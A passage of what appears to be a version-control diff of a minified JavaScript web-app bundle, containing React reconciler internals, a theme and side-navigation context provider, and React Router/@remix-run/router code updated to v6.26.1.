p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,As(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,xc(a),p.updater=Zp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=Le(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(xl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=FI(l),s=Rs(l,s),p){case 0:a=_e(null,a,l,s,n);break s;case 1:a=co(null,a,l,s,n);break s;case 11:a=po(null,a,l,s,n);break s;case 14:a=eo(null,a,l,Rs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),_e(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),co(s,a,l,p,n);case 3:s:{if(Vi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,ai(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=to(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=to(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=qr(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return ni(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Gi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return fi(s,a,n);case 4:return Jc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),po(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,F(lp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=fs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=Rs(l,a.pendingProps),p=Rs(l.type,p),eo(s,a,l,p,n);case 15:return Wi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),xl(s,a),a.tag=1,As(l)?(s=!0,sp(a)):s=!1,ln(a,n),wi(a,l,p),Te(a,l,p,n),Le(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Bi(s,a,n)}throw Error(w(156,a.tag))};function Ti(s,a){return yr(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new KI(s,a,n,l)}function nt(s){return s=s.prototype,!(!s||!s.isReactComponent)}function FI(s){if(typeof s=="function")return nt(s)?1:0;if(s!=null){if(s=s.$$typeof,s===bc)return 11;if(s===wc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function Dl(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")nt(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case mc:c=8,p|=8;break;case je:return s=Gs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case Ae:return s=Gs(13,n,a,p),s.elementType=Ae,s.lanes=e,s;case ue:return s=Gs(19,n,a,p),s.elementType=ue,s.lanes=e,s;case nr:return Gp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case bc:c=11;break s;case wc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function Gp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function MI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ep(0),this.expirationTimes=Ep(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ep(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function lt(s,a,n,l,p,e,c,t,o){return s=new MI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},xc(e),s}function SI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oi)}catch(s){console.error(s)}}Oi(),Oo.exports=ks;var EI=Oo.exports,Pi,$i,mo=EI;$i=mo.createRoot,Pi=mo.hydrateRoot;const qi={theme:"light",sideNav:!0,initialized:!1},sg=W.createContext({state:qi,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function tt(){return W.useContext(sg)}function bo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const wo=({children:s})=>{const[a,n]=W.useState(qi);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),bo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),bo("sideNav",t)}return r.jsx(sg.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** + * @remix-run/router v1.19.1 * * Copyright (c) Remix Software Inc. * @@ -46,8 +46,8 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ng(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function UI(){return Math.random().toString(36).substr(2,8)}function ko(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||UI()})}function lg(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function _I(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let Z=I(),h=Z==null?null:Z-i;i=Z,o&&o({action:t,location:b.location,delta:h})}function j(Z,h){t=oa.Push;let g=tc(b.location,Z,h);n&&n(g,Z),i=I()+1;let C=ko(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(W){if(W instanceof DOMException&&W.name==="DataCloneError")throw W;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function u(Z,h){t=oa.Replace;let g=tc(b.location,Z,h);n&&n(g,Z),i=I();let C=ko(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(Z){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof Z=="string"?Z:lg(Z);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(Z){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(wo,d),o=Z,()=>{p.removeEventListener(wo,d),o=null}},createHref(Z){return a(p,Z)},createURL:m,encodeLocation(Z){let h=m(Z);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:u,go(Z){return c.go(Z)}};return b}var Zo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Zo||(Zo={}));function LI(s,a,n){n===void 0&&(n="/");let l=typeof a=="string"?jn(a):a,p=tg(l.pathname||"/",n);if(p==null)return null;let e=pg(s);OI(e);let c=null;for(let t=0;c==null&&t{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Xa([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),pg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of eg(e.path))p(e,c,o)}),a}function eg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=eg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Wo=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Wo)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Wo(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a){let{routesMeta:n}=s,l={},p="/",e=[];for(let c=0;c{let{paramName:j,isOptional:u}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return u&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ng(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ng(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function tg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function ge(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gd(s,a){let n=id(s);return a?n.map((l,p)=>p===s.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),ge("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),ge("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),ge("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Xa=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const og=["post","put","patch","delete"];new Set(og);const Ad=["get",...og];new Set(Ad);/** - * React Router v6.22.3 + */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ag(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function TI(){return Math.random().toString(36).substr(2,8)}function Zo(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||TI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function UI(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let B=I(),h=B==null?null:B-i;i=B,o&&o({action:t,location:b.location,delta:h})}function j(B,h){t=oa.Push;let g=tc(b.location,B,h);i=I()+1;let C=Zo(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function u(B,h){t=oa.Replace;let g=tc(b.location,B,h);i=I();let C=Zo(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(B){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof B=="string"?B:ng(B);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(B){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(ko,d),o=B,()=>{p.removeEventListener(ko,d),o=null}},createHref(B){return a(p,B)},createURL:m,encodeLocation(B){let h=m(B);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:u,go(B){return c.go(B)}};return b}var Wo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Wo||(Wo={}));function _I(s,a,n){return n===void 0&&(n="/"),LI(s,a,n,!1)}function LI(s,a,n,l){let p=typeof a=="string"?jn(a):a,e=eg(p.pathname||"/",n);if(e==null)return null;let c=lg(s);OI(c);let t=null;for(let o=0;t==null&&o{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Xa([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Bo=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Bo)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Bo(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a,n){let{routesMeta:l}=s,p={},e="/",c=[];for(let t=0;t{let{paramName:j,isOptional:u}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return u&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ag(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ag(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function eg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function ge(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gd(s,a){let n=id(s);return a?n.map((l,p)=>p===n.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),ge("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),ge("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),ge("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Xa=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const cg=["post","put","patch","delete"];new Set(cg);const Ad=["get",...cg];new Set(Ad);/** + * React Router v6.26.1 * * Copyright (c) Remix Software Inc. * @@ -55,8 +55,8 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),B.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Xa([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Np()||P(!1);let{navigator:p}=B.useContext(Rp),{matches:e}=B.useContext(An),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Hp(),I;if(a){var d;let Z=typeof a=="string"?jn(a):a;o==="/"||(d=Z.pathname)!=null&&d.startsWith(o)||P(!1),I=Z}else I=i;let j=I.pathname||"/",u=j;if(o!=="/"){let Z=o.replace(/^\//,"").split("/");u="/"+j.replace(/^\//,"").split("/").slice(Z.length).join("/")}let m=LI(s,{pathname:u}),b=Gd(m&&m.map(Z=>Object.assign({},Z,{params:Object.assign({},t,Z.params),pathname:Xa([o,p.encodeLocation?p.encodeLocation(Z.pathname).pathname:Z.pathname]),pathnameBase:Z.pathnameBase==="/"?o:Xa([o,p.encodeLocation?p.encodeLocation(Z.pathnameBase).pathname:Z.pathnameBase])})),e,n,l);return a&&b?B.createElement(vp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Xd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return B.createElement(B.Fragment,null,B.createElement("h2",null,"Unexpected Application Error!"),B.createElement("h3",{style:{fontStyle:"italic"}},a),n?B.createElement("pre",{style:p},n):null,null)}const Zd=B.createElement(kd,null);class Wd extends B.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?B.createElement(An.Provider,{value:this.props.routeContext},B.createElement(rg.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Bd(s){let{routeContext:a,match:n,children:l}=s,p=B.useContext(tt);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),B.createElement(An.Provider,{value:a},l)}function Gd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if((e=n)!=null&&e.errors)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id]));I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let u,m=!1,b=null,Z=null;n&&(u=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(vd("route-fallback",!1),m=!0,Z=null):i===j&&(m=!0,Z=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return u?C=b:m?C=Z:d.route.Component?C=B.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,B.createElement(Bd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?B.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:u,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var gg=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(gg||{}),dp=function(s){return 